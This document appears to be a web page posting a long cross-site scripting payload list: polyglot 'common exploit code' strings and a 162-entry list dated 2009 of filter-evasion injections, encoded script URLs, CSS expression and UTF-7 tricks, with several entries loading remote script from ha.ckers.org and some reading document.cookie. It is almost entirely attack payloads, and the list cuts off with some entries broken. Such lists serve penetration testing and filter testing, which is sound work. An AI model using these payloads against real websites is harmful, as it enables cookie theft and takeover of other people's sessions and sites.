&lt;pre&gt;';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> Common exploit code (covers a lot of XSS vulnerabilities) <br /> &lt;pre&gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt; <br /> === XSS Statements (Full List) - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;Statements<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> 